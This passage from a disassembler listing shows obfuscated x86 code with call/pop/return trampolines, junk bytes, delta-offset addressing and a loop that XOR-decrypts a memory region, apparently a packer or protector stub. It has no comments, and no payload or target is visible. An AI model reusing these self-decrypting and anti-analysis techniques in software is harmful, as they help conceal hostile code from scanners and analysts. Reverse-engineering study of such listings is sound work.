		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0F1ADF4C3h
		dd 3832ABA2h, 291753FBh, 0D1324595h, 5B805h, 81660000h
		dd 0E91D1CCAh, 0AE7h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 16h, 0E3C35141h, 958B19FEh, 5D126C1h, 0CE59D29h
		db 0D1h, 5
; ---------------------------------------------------------------------------


loc_570702:				; CODE XREF: ud2_____:0057055Bj
		cmp	eax, 2
		jnz	loc_570832
		movzx	ebx, di
		mov	eax, 1
		xor	bl, 0A7h
		or	eax, eax
		jz	loc_5707FD
		push	0
		push	edi
		call	sub_570729
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_570729	proc near		; CODE XREF: ud2_____:00570721p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_570729	endp

; ---------------------------------------------------------------------------
		db 96h,	0C7h, 0BDh
		dd 64C65EB8h, 6003719Eh, 2840Fh, 61600000h, 1CC98D8Bh
		dd 8A6105D1h, 958951D4h, 5D12161h, 1F8835Ah, 0FF2E840Fh
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F50BA5C3h, 0F03F883h, 0FFFE8684h, 0BE8FFh
		dd 0F92D0000h, 0B95DA55Dh, 2E624A14h, 5E83Ah, 9740000h
		dd 89C21471h, 0D106BD95h, 0F5B5A05h, 0B8D0B7h, 89000000h
		dd 0D1180595h, 0B18D3105h, 8D05D100h, 5B7974BDh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 256B92F3h, 12715FE9h, 0FD958BC2h, 0FF05D11Fh, 8BD6B2E7h
		dd 0D10B0D95h
		db 5
; ---------------------------------------------------------------------------


loc_5707FD:				; CODE XREF: ud2_____:00570718j
		lea	edi, [ebp+5D144CFh]
		push	0
		push	ecx
		call	sub_57080E
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57080E	proc near		; CODE XREF: ud2_____:00570806p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_57080E	endp

; ---------------------------------------------------------------------------
		dw 858Ah
		dd 0EF2BE377h, 0FD78B7Bh, 0B5E9DBB7h, 80000001h
		db 0DAh, 0B7h
; ---------------------------------------------------------------------------


loc_570832:				; CODE XREF: ud2_____:00570705j
		cmp	eax, 3
		jnz	loc_570877
		push	0
		push	edi
		call	sub_570846
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_570846	proc near		; CODE XREF: ud2_____:0057083Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_570846	endp

; ---------------------------------------------------------------------------
		dw 3D88h
		dd 0BD89D2F1h, 5D10691h, 4663BD8Dh, 858905D1h, 5D10131h
		dd 173E9h, 69B58900h
		db 1Eh,	0D1h, 5
; ---------------------------------------------------------------------------


loc_570877:				; CODE XREF: ud2_____:00570835j
		cmp	eax, 5
		jnz	loc_5708AA
		movsx	edx, si
		jmp	loc_570897
; ---------------------------------------------------------------------------
		xchg	edi, eax
		add	esp, [ebx]
		enter	76DAh, 5Fh
		movsb
		mov	eax, 0BD7484DFh
		push	edi


loc_570897:				; CODE XREF: ud2_____:00570883j
		jmp	loc_5711BF
; ---------------------------------------------------------------------------
		jno	loc_5708AA
		push	ebx
		mov	[ebp+5D132C9h],	ecx
		pop	edx


loc_5708AA:				; CODE XREF: ud2_____:0057087Aj
					; ud2_____:0057089Cj
		cmp	eax, 6
		jnz	loc_57090B
		mov	ebx, [ebp+5D124DDh]
		lea	edi, [ebp+5D1485Bh]
		push	0
		push	ebx
		call	sub_5708CA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5708CA	proc near		; CODE XREF: ud2_____:005708C2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5708CA	endp

; ---------------------------------------------------------------------------
		push	cs
		retn	1A25h
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [eax-77h]
		mov	ebp, 5D100B1h
		jmp	loc_5709E4
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5708F6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5708F6	proc near		; CODE XREF: ud2_____:005708EEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5708F6	endp

; ---------------------------------------------------------------------------
		dw 0C150h
; ---------------------------------------------------------------------------
		fadd	st, st
		clc


loc_57090B:				; CODE XREF: ud2_____:005708ADj
		cmp	eax, 7
		jnz	loc_570985
		push	0
		push	ebp
		call	sub_57091F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57091F	proc near		; CODE XREF: ud2_____:00570917p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_57091F	endp

; ---------------------------------------------------------------------------
		db 69h
		dd 8E83Bh, 0E1D0000h, 68DCE990h, 0C0BB9C26h, 5B63A0D4h
		dd 2815BD8Dh, 6A05D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0AFF3F9C3h, 0F7528C9Ah, 0CE9A7h
		dd 441C0000h, 0B8FB7FB8h, 719A727Ch, 37E9EEC7h,	8B000001h
		db 0DFh
; ---------------------------------------------------------------------------


loc_570985:				; CODE XREF: ud2_____:0057090Ej
		cmp	eax, 0Ah
		jnz	loc_5709E4
		push	0
		push	edi
		call	sub_570999
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_570999	proc near		; CODE XREF: ud2_____:00570991p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_570999	endp

; ---------------------------------------------------------------------------
		db 0FEh, 0BCh, 20h
; ---------------------------------------------------------------------------
		ficomp	dword ptr [esi+66h]
		and	edx, 0BD8D3AE7h
		push	ebx
		dec	edx
		rol	dword ptr ds:1DFD8531h,	1
		rol	large dword ptr	ds:20E9h, 1
		add	[edx+0], ch
		push	eax
		call	sub_5709CF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5709CF	proc near		; CODE XREF: ud2_____:005709C7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5709CF	endp

; ---------------------------------------------------------------------------
		mov	ah, [ebx]
		inc	ecx
		mov	ebx, edi


loc_5709E4:				; CODE XREF: ud2_____:005708E6j
					; ud2_____:00570988j
		push	edi
		push	eax
		mov	edx, 53FD2CA2h
		pop	edx
		mov	ecx, 0DFEB733h
		push	0
		push	ebp
		call	sub_5709FC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5709FC	proc near		; CODE XREF: ud2_____:005709F4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5709FC	endp

; ---------------------------------------------------------------------------
		dd 8AE2A3C7h, 3F83D3h, 5B840Fh,	0BF0F0000h, 11E9DEh, 7F120000h
		dd 0C9AF7855h, 4E39761Ch, 0C2411193h, 30A73D8Eh, 52006A0Fh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 7672E0AAh, 0E4D67487h, 1AD19D31h, 0A8B705D1h, 8051C9D1h
		dd 475AF9E3h, 0E9D1B70Fh, 0FFFFFFA1h, 0D4C0FABAh, 6A5F34h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 730916C3h, 83ACEDE9h, 9E8A4h, 0A3460000h, 9E541493h
		dd 95C8561h, 0D1269985h, 6E95A05h, 90000000h, 81DD5202h
		dd 0BD89F9BFh, 5D14C4Fh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 2EC35040h, 1620BA83h,	8D8D7BC8h, 5D11C39h
		dd 28118D31h, 0B5FF05D1h, 5D12425h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 4FC35343h, 6DBE944Bh, 0DB5890Ah
		dd 8D05D120h, 0D39B0C85h, 0BD8D5005h, 5D1535Bh,	6D0D8D8Dh
		dd 0BCB805D1h, 2B54831Ah, 0D00730CFh, 754947C8h, 4DB58DF8h
		dd 8D05D16Ch, 0D16D258Dh, 0F3CF2B05h, 0B8C933A4h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_570B9E
		cmp	dword ptr [ebp+5D11B39h], 0
		jz	short loc_570B67
		call	dword ptr [ebp+5D112BDh]


loc_570B67:				; CODE XREF: ud2_____:00570B5Fj
		mov	esi, [ebp+5D14C4Fh]
		lea	eax, [ebp+5D39B0Ch]
		call	eax
		lea	eax, [ebp+5D140ACh]
		call	eax
		mov	dword ptr [ebp+5D12401h], 1
		mov	esp, [ebp+5D1307Dh]
		mov	esi, [ebp+5D12265h]
		mov	ebp, [ebp+5D1125Dh]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_570B9E:				; CODE XREF: ud2_____:00570B56j
		sbb	dh, 0C5h
		push	0
		push	edx
		call	sub_570BAC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_570BAC	proc near		; CODE XREF: ud2_____:00570BA4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_570BAC	endp

; ---------------------------------------------------------------------------
		dd 8516FD2Ah, 6A8DCA4Bh, 14E98454h, 0E6000000h,	0B856A1F6h
		dd 1F092A91h, 1803FFF9h, 0B29F6536h, 83EF9932h,	0D12801BDh
		dd 840F0005h, 56h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 63C35646h, 8A24CAF0h,	440E8989h, 0FFDE8B66h
		dd 0D1030D95h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0D87BE5B3h, 0E0E4DE88h
		dd 0F18FBBECh, 0BD832740h, 5D115E1h, 67850F00h,	81000001h
		dd 0F192C9F2h, 0E9BD8316h, 105D120h, 154850Fh, 0B5890000h
		dd 5D106DDh, 1679BD83h,	0F0005D1h, 14184h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0BD83FC58h, 5D14CA2h, 17840F00h, 0BB000001h,	361E3743h
		dd 9B0C858Dh, 91BA05D3h, 8B56FCA3h, 0D14C4FB5h,	7D9D2905h
		dd 0FF05D106h, 8890FD0h, 50000000h, 969BD89h, 0C65A05D1h
		dd 0D124D985h, 840F5405h, 3, 6830E680h,	0C6728D90h, 67D4BE60h
		dd 60601A1Bh, 16BE6661h, 81616107h, 31642404h, 850F38DCh
		dd 5, 96EB8166h, 99B5FF8Ch, 3305D106h, 0D1111595h, 21B52905h
		dd 8D05D124h, 0D1384A85h, 2900B705h, 0D1198DBDh, 0B7D0FF05h
		dd 60006A83h, 6890Fh, 85890000h, 5D131F1h, 1CBD8D8Bh, 6A6105D1h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 6510E36Eh, 0F514F289h, 8E9h, 0E469EA00h
		dd 4FE21CF5h, 659D8B16h, 8005D113h, 0D0FFF0EFh,	3AC1C281h
		dd 0B5FF2BF4h, 5D10ECDh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 0C3C35646h, 9D18F061h, 0B381DA81h, 95FF54D3h
		dd 5D12425h, 0A819D89h,	0B58B05D1h, 5D14C4Fh, 25CD9589h
		dd 6AC305D1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0CC92C353h, 0BA3071EDh, 6989C4D2h
		dd 17A5B58Bh, 14E905D1h, 41000000h, 0F1EB9060h,	92E761B0h
		dd 172F7D17h, 0F091BEF0h, 0F9AFA68h, 0D8Eh, 8E900h, 905A0000h
		dd 75E63C45h, 0F60BF325h, 46840Fh, 81660000h, 0C6A673DAh
		dd 6A0006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0FCFC4C3h, 0CE8D7B7h, 35000000h, 0D0945573h
		dd 316F3806h, 0F75D33Ah, 687h, 0C1958B00h, 5A05D131h, 4C578589h
		dd 0D38005D1h, 0F8830Ah, 3D7840Fh, 0D2800000h, 1B87Dh
		dd 8A0F0000h, 4, 6298BA66h, 10E9h, 94091100h, 326BF194h
		dd 0E7D04F8h, 86267230h, 0F88354h, 0E6840Fh, 958B0000h
		dd 5D113F5h, 0F88380B2h, 69850F02h, 0B7000000h,	8D4DB3E4h
		dd 0D142D285h, 9D8B5105h, 5D113A5h, 5E95Bh, 0A7840000h
		dd 2D4AA276h, 929h, 43DDA81h, 0E95048F0h, 5, 0FE3488FEh
		dd 24048964h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	28C35747h, 26DF8A2Ah, 1405D029h, 3890F76h, 66000000h
		dd 0BAC3D98Bh, 0F2DF99Bh, 0B8h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 9D8BA84Ch
		dd 5D10F15h, 300E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0EF6937DAh, 0ED5B6489h
		dd 11E9B516h, 63000000h, 9F389618h, 405BD92Fh, 193340FFh
		dd 65D84E5Ch, 0EDDDBA66h, 1B8h,	29B58900h, 8D05D110h, 0D142D7BDh
		dd 719D8B05h, 0E905D11Bh, 150h,	63D9B1BBh, 2F88333h, 6C850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 39F28CC3h, 8B60EF82h, 0D9D23FEh, 6105D120h
		dd 44CFBD8Dh, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 49F931C3h, 0EDE981A5h, 3000000h
		dd 0D109D99Dh, 8E805h, 0B9C00000h, 0E63042D1h, 0F2800FE1h
		dd 0F8835A8Bh, 91850F03h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E5A5C357h
		dd 16544C3Dh, 11E9h, 7F756000h,	6718BA9Eh, 138C91A2h, 0B95CB2B9h
		dd 0BD8D0E75h, 5D14663h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0DBC35545h, 0BF937CE7h, 989C6A85h, 66E9DBh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0A1AF80C3h, 406B4F8Dh, 9D8B46EFh,	5D10061h
		dd 0F05F883h, 3385h, 399D8B00h,	0E905D124h, 0EBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6FC35545h, 5348BBC6h
		dd 9D113772h, 0AE78065h, 56006A57h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 33B95279h, 810DFEB7h
		dd 8A05E5D2h, 617FBB5Ch, 3F83068Ah, 8C840F00h, 0E8000000h
		dd 14h,	2CA339D5h, 6BA0910Eh, 47E7BC93h, 0F457506h, 0FA03011Bh
		dd 927C4CBBh, 0F305B27h, 16219D89h, 0C9D105D1h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0CAC35242h, 668B72BFh
		dd 8057C281h, 0D9858947h, 0E805D122h, 12h, 38B4E9F8h, 7C5BF51Dh
		dd 0FA2F2A87h, 4019BFF7h, 0CE991CDh, 0C7000000h, 8AB97BE4h
		dd 4634100Ch, 5BFC95B3h, 0FFFF75E9h, 5E9FFh, 0E0110000h
		db 13h,	8Dh, 99h
; ---------------------------------------------------------------------------


loc_5711BF:				; CODE XREF: ud2_____:loc_570897j
		cmp	eax, 5
		jnz	loc_571251
		movzx	ebx, cx
		mov	cx, ds
		mov	ebx, [ebp+5D1029Dh]
		test	cl, 4
		jnz	loc_571207
		mov	dh, 0Ch
		mov	eax, 0
		jmp	loc_5711FC
; ---------------------------------------------------------------------------
		db 71h,	0B3h, 0CEh
		dd 11BA2114h, 530D148Ah, 6E8409A1h, 5B9030BCh
; ---------------------------------------------------------------------------


loc_5711FC:				; CODE XREF: ud2_____:005711E4j
		jmp	loc_571251
; ---------------------------------------------------------------------------
		adc	edx, 2770F624h


loc_571207:				; CODE XREF: ud2_____:005711D7j
		mov	eax, [ebp+5D11785h]
		pusha
		pusha
		movsx	ebx, si
		popa
		mov	al, dl
		popa
		mov	[ebp+5D12461h],	eax
		jmp	eax
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_571229
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571229	proc near		; CODE XREF: ud2_____:00571221p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_571229	endp

; ---------------------------------------------------------------------------
		db 0E5h, 0A4h, 8Eh
		dd 0A5B5B76Fh, 60600C65h, 8B665CB0h, 8D0161FAh,	5D106A5h
; ---------------------------------------------------------------------------
		popa


loc_571251:				; CODE XREF: ud2_____:005711C2j
					; ud2_____:loc_5711FCj
		cmp	dword ptr [ebp+5D12425h], 0
		jnz	loc_57135D
		push	0
		push	edx
		call	sub_571269
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571269	proc near		; CODE XREF: ud2_____:00571261p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_571269	endp

; ---------------------------------------------------------------------------
		db 71h,	8Bh, 6Eh
; ---------------------------------------------------------------------------
		fst	dword ptr [ecx+ebp-2EEC7A7Bh]
		add	eax, 0BE8h
		add	[esi+ebp*4-5], ah


loc_57128C:				; CODE XREF: ud2_____:00571291j
		cmp	[ecx+3], ebx
		shl	dl, cl
		jnz	short loc_57128C
		aad	66h
		mov	ebx, 505BB8FCh
		pusha
		jmp	loc_5712B3
; ---------------------------------------------------------------------------
		mov	es, word ptr [ecx]
		cmp	[eax], ah
		push	es
		or	ds:6C8BDF05h, bl
		mov	esi, 37DCBEF5h
		dec	ebx
		pushf
		stosd


loc_5712B3:				; CODE XREF: ud2_____:0057129Bj
		mov	al, 24h
		popa
		mov	[esp], eax
		jge	loc_5712C7
		pusha
		mov	[ebp+5D11D0Dh],	edi
		popa


loc_5712C7:				; CODE XREF: ud2_____:005712B9j
		mov	byte ptr [ebp+5D124D9h], 45h
		mov	dh, 0BEh
		push	751FD04Fh
		push	ecx
		mov	dx, 36E2h
		pop	edx
		add	dword ptr [esp], 1952991Ah
		push	0
		push	ebx
		call	sub_5712ED
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5712ED	proc near		; CODE XREF: ud2_____:005712E5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5712ED	endp

; ---------------------------------------------------------------------------
		db 0A2h, 9Ch, 50h
		dd 8A0F7C0Fh, 0Dh, 8E9h, 0FCC26F00h, 6B0F156Fh,	99B5FF80h
		dd 8B05D106h, 4A858DD3h, 8105D138h, 1A3138E2h, 6AD0FF53h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 73AEC357h, 3DBD8984h, 8905D112h, 0D1242585h
		dd 5D83BB05h, 8B587F06h
		db 0D1h
; ---------------------------------------------------------------------------


loc_57135D:				; CODE XREF: ud2_____:00571258j
		cmp	dword ptr [ebp+5D14CA6h], 0
		jz	loc_5713AD
		or	[ebp+5D11AB1h],	ebx
		push	dword ptr [ebp+5D10ECDh]
		mov	edx, 205D6B03h
		and	dx, 7FCDh
		call	dword ptr [ebp+5D12425h]
		mov	[ebp+5D11101h],	ebx
		pusha
		adc	dl, 6Fh
		call	sub_5713A5
		inc	ecx
; ---------------------------------------------------------------------------
		dw 0F9C4h
		dd 0BA397A66h, 0AE8A9379h, 29AF5801h
		db 0DFh

; =============== S U B	R O U T	I N E =======================================



sub_5713A5	proc near		; CODE XREF: ud2_____:00571390p

; FUNCTION CHUNK AT 00571489 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00571525 SIZE 00000010 BYTES

		or	[ebp+5D11881h],	edx
		pop	ecx
		popa


loc_5713AD:				; CODE XREF: ud2_____:00571364j
		cmp	eax, 0
		jnz	loc_571489
		push	0
		push	edx
		call	sub_5713C1
		and	[edx-3Dh], bl
sub_5713A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5713C1	proc near		; CODE XREF: sub_5713A5+14p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5713C1	endp

; ---------------------------------------------------------------------------
		mov	ebp, 0DDBCF13Fh
		cmp	dword ptr [ebp+5D1301Dh], 0
		jz	loc_571427
		xor	edx, 6405B877h
		push	dword ptr [ebp+5D1301Dh]
		mov	dl, 0D4h
		mov	ebx, [ebp+5D111ADh]
		mov	eax, 1
		mov	edx, 79C577A5h
		jmp	loc_5715FB
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_571411
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_571411	proc near		; CODE XREF: ud2_____:00571409p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_571411	endp

; ---------------------------------------------------------------------------
		icebp
		mov	ebx, 4F70936Dh


loc_571427:				; CODE XREF: ud2_____:005713DDj
		push	dword ptr [ebp+5D10ECDh]
		mov	edx, [ebp+5D1170Dh]
		push	dword ptr [ebp+5D10ECDh]
		jmp	loc_57144B
; ---------------------------------------------------------------------------
		dw 1A16h
		dd 64F9E22Eh, 0BB48B38Bh
		db 0BAh, 93h, 0DDh
; ---------------------------------------------------------------------------


loc_57144B:				; CODE XREF: ud2_____:00571439j
		movsx	ebx, si
		push	dword ptr [ebp+5D12425h]
		call	sub_57146A
		hlt
; ---------------------------------------------------------------------------
		dw 82C4h
		dd 0A7BBB34Ch, 19671577h, 97B09758h
		db 0D8h, 0A4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_57146A	proc near		; CODE XREF: ud2_____:00571454p
		jmp	sub_57147D
sub_57146A	endp

; ---------------------------------------------------------------------------
		cdq
		movsb
		add	bl, [esi-67BEF8B9h]
		xchg	ah, [esi+39h]
		pop	esi
		xchg	eax, ebp
		stc

; =============== S U B	R O U T	I N E =======================================



sub_57147D	proc near		; CODE XREF: sub_57146Aj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005715FB SIZE 000000B3 BYTES
; FUNCTION CHUNK AT 005716B0 SIZE 00000040 BYTES

		pop	edx
		jmp	loc_5715FB
sub_57147D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	[ebp+5D11BD9h],	eax
; START	OF FUNCTION CHUNK FOR sub_5713A5


loc_571489:				; CODE XREF: sub_5713A5+Bj
		pop	edi
		add	ebx, 2469F60Ch
		cmp	dword ptr [ebp+5D12509h], 0
		jnz	loc_571525
		or	[ebp+5D12D3Dh],	edx
		mov	byte ptr [ebp+5D124D9h], 4Dh
		push	0
		push	ebp
		call	sub_5714B5
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5713A5

; =============== S U B	R O U T	I N E =======================================



sub_5714B5	proc near		; CODE XREF: sub_5713A5+108p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5714B5	endp

; ---------------------------------------------------------------------------
		db 9Ah,	0F9h, 0ECh
; ---------------------------------------------------------------------------
		or	dl, 98h
		push	701E92D8h
		jl	loc_5714E9
		jmp	loc_5714E9
; ---------------------------------------------------------------------------
		movsb
		retn	0C53h
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------
		sbb	eax, 0B651E7B6h
		retn
; ---------------------------------------------------------------------------
		dw 0C14Fh
		db 21h
; ---------------------------------------------------------------------------


loc_5714E9:				; CODE XREF: ud2_____:005714D0j
					; ud2_____:005714D6j
		add	dword ptr [esp], 3416E3D0h
		mov	[ebp+5D11479h],	eax
		push	dword ptr [ebp+5D10829h]
		js	loc_571504
		mov	bh, 65h


loc_571504:				; CODE XREF: ud2_____:005714FCj
		lea	eax, [ebp+5D1384Ah]
		sub	[ebp+5D11E15h],	ecx
		call	eax
		push	esi
		mov	edx, [ebp+5D11649h]
		pop	edx
		mov	[ebp+5D12509h],	eax
		mov	ebx, 46403941h
; START	OF FUNCTION CHUNK FOR sub_5713A5


loc_571525:				; CODE XREF: sub_5713A5+F2j
		mov	eax, 0
		push	0
		push	ecx
		call	sub_571535
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5713A5

; =============== S U B	R O U T	I N E =======================================



sub_571535	proc near		; CODE XREF: sub_5713A5+188p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_571535	endp

; ---------------------------------------------------------------------------
		clc
		jnz	short near ptr loc_57154E+1
		lahf
		and	al, 89h
		xchg	eax, ebx
		fcmove	st, st(7)


loc_57154E:				; CODE XREF: ud2_____:00571546j
		sub	al, 66h
		mov	edx, edi
		mov	bx, 926Eh
		mov	[ebp+5D14C4Fh],	edi
		mov	ebx, [ebp+5D1225Dh]
		mov	edx, 7934E7A9h
		or	eax, eax
		jz	loc_571597
		mov	ebx, [ebp+5D10E79h]
		jmp	loc_5715FB
; ---------------------------------------------------------------------------
		call	sub_57158D
		xchg	eax, esi
		dec	edi
		cli
		pop	ss
		adc	eax, 28B2AD87h
		xor	eax, 2D1E06CEh

; =============== S U B	R O U T	I N E =======================================



sub_57158D	proc near		; CODE XREF: ud2_____:0057157Ap
		sub	edx, [ebp+5D1168Dh]
		pop	edx
		adc	dh, 79h


loc_571597:				; CODE XREF: ud2_____:00571569j
		push	dword ptr [ebp+5D12425h]
		mov	bx, 3EBh
		lea	eax, [ebp+5D39B0Ch]
		push	0
		push	esi
		call	sub_5715B2
		and	[esi-3Dh], bl
sub_57158D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5715B2	proc near		; CODE XREF: sub_57158D+1Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5715B2	endp

; ---------------------------------------------------------------------------
		dw 744h
		dd 70155674h, 52D78B66h, 1161958Bh, 505A05D1h, 489D38Bh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0FEEC4113h
		db 0ECh, 8Dh, 0ECh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57147D


loc_5715FB:				; CODE XREF: ud2_____:00571401j
					; sub_57147D+1j ...
		push	eax
		push	esi
		lea	edi, [ebp+5D1535Bh]
		lea	ecx, [ebp+5D177E8h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_571610:				; CODE XREF: sub_57147D+199j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_571610
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+5D1301Dh], 0
		jz	short loc_571629
		mov	ecx, [ebp+5D121F1h]


loc_571629:				; CODE XREF: sub_57147D+1A4j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_5716D1
		cmp	dword ptr [ebp+5D11B39h], 0
		jz	short loc_571647
		call	dword ptr [ebp+5D112BDh]


loc_571647:				; CODE XREF: sub_57147D+1C2j
		mov	eax, 1
		or	eax, eax
		jnz	short loc_571659
		cmp	dword ptr [ebp+5D14C57h], 1
		jz	short loc_571662


loc_571659:				; CODE XREF: sub_57147D+1D1j
		cmp	dword ptr [ebp+5D14C57h], 2
		jnz	short loc_571670


loc_571662:				; CODE XREF: sub_57147D+1DAj
		mov	esi, [ebp+5D14C4Fh]
		lea	eax, [ebp+5D39B0Ch]
		call	eax


loc_571670:				; CODE XREF: sub_57147D+1E3j
		lea	eax, [ebp+5D140ACh]
		call	eax
		cmp	dword ptr [ebp+5D12691h], 2
		jnz	short loc_5716B0
		mov	esp, [ebp+5D1307Dh]
		mov	eax, [ebp+5D1301Dh]
		mov	[esp-4+arg_0], eax
		mov	dword ptr [ebp+5D12401h], 1
		mov	esi, [ebp+5D14C53h]
